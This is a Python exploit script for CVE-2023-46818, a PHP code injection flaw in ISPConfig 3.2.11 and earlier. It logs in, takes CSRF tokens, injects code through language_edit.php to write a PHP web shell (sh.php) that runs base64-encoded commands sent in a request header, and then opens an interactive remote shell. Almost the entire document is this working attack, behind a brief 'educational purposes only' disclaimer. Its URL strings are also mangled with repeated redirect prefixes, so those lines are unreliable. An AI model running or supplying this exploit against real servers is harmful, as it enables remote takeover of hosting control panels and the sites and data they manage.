# ISPConfig <= 3.2.11 (language_edit.
php) PHP Code Injection Vulnerability
# Vulnerability: CVE-2023-46818
# Python adaptation from original php script by Egidio Romano
# Python repository: https://github.com/bipbopbup/CVE-2023-46818-python-exploit
# Original PHP source: https://packetstormsecurity.com/files/176126/ISPConfig-
3.2.11-PHP-Code-Injection.html
# Software link: https://www.ispconfig.org
# Solution: Upgrade to version 3.2.11p1 or later.
# Date: 08-10-2024
# THIS SCRIPT IS FOR EDUCATIONAL PURPOSES ONLY
import requests
import sys
import base64
import string
import random
def ensure_url_format(url):
# Ensure the URL starts with http:// or https://
if not url.startswith(("http://", "https://")):
raise ValueError("URL must start with 'http://' or 'https://'")
# Ensure the URL ends with a /
if not url.endswith("/"):
url += "/"
return url
def login(url, user, password):
print(f"[+] Logging in with username '{user}' and password '{password}'")
# Create a request session
session = requests.Session()
# Try login
login_url = f"{nice_url}login/"
login_data = {
'username': user,
'password': password,
's_mod': 'login'
}
response = session.post(login_url, data=login_data, verify=False)
# Verify if login has failed
if "Username or Password wrong" in response.text:
sys.exit("[-] Login failed!")
return session
def inject_shell(session, url):
print("[+] Injecting shell")
# Create PHP injection code
php_code = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C']));
print('____'); ?>"
encoded_php = base64.b64encode(php_code.encode()).decode()
injection_payload =
f"'];file_put_contents('sh.php',base64_decode('{encoded_php}'));die;#"
lang_file = ''.join(random.choices(string.ascii_letters,k=8))+ ".lng" # Random
language file name. Uppercase and lowercase does not seem to affect the response
# URL leading to the vulnerable language PHP file
lang_edit_url = f"{url}admin/language_edit.php"
lang_data = {
'lang': 'en',
'module': 'help',
'lang_file': lang_file
}
response = session.post(lang_edit_url, data=lang_data, verify=False)
# Extract CSRF ID y CSRF Key
try:
csrf_id = response.text.split('_csrf_id" value="')[1].split('"')[0]
csrf_key = response.text.split('_csrf_key" value="')[1].split('"')[0]
except IndexError:
sys.exit("[-] CSRF ID or Key not found!")
# Inyect payload with CSRF tokens
lang_data.update({
'_csrf_id': csrf_id,
'_csrf_key': csrf_key,
'records[\\]': injection_payload
})
session.post(lang_edit_url, data=lang_data, verify=False)
def launch_shell(session, url):
print("[+] Launching shell")
shell_url = f"{url}admin/sh.php"
while True:
try:
cmd = input("\nispconfig-shell# ")
if cmd.lower() == "exit":
break
# Base 64 encoded command in custom C header
headers = {
'C': base64.b64encode(cmd.encode()).decode()
}
response = session.get(shell_url, headers=headers, verify=False)
# Extract and print result between '____'
if '____' in response.text:
result = response.text.split('____')[1]
print(result)
else:
sys.exit("\n[-] Exploit failed!")
except KeyboardInterrupt:
sys.exit("\n[+] Exiting.")
if __name__ == "__main__":
if len(sys.argv) != 4:
sys.exit(f"\nUsage: python {sys.argv[0]} <URL> <Username> <Password>\n")
url, user, password = sys.argv[1], sys.argv[2], sys.argv[3]
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.Ins
ecureRequestWarning)
nice_url = ensure_url_format(url)
print("[+] Target URL: "+nice_url)
session = login(nice_url, user, password)
inject_shell(session, nice_url)
launch_shell(session, nice_url)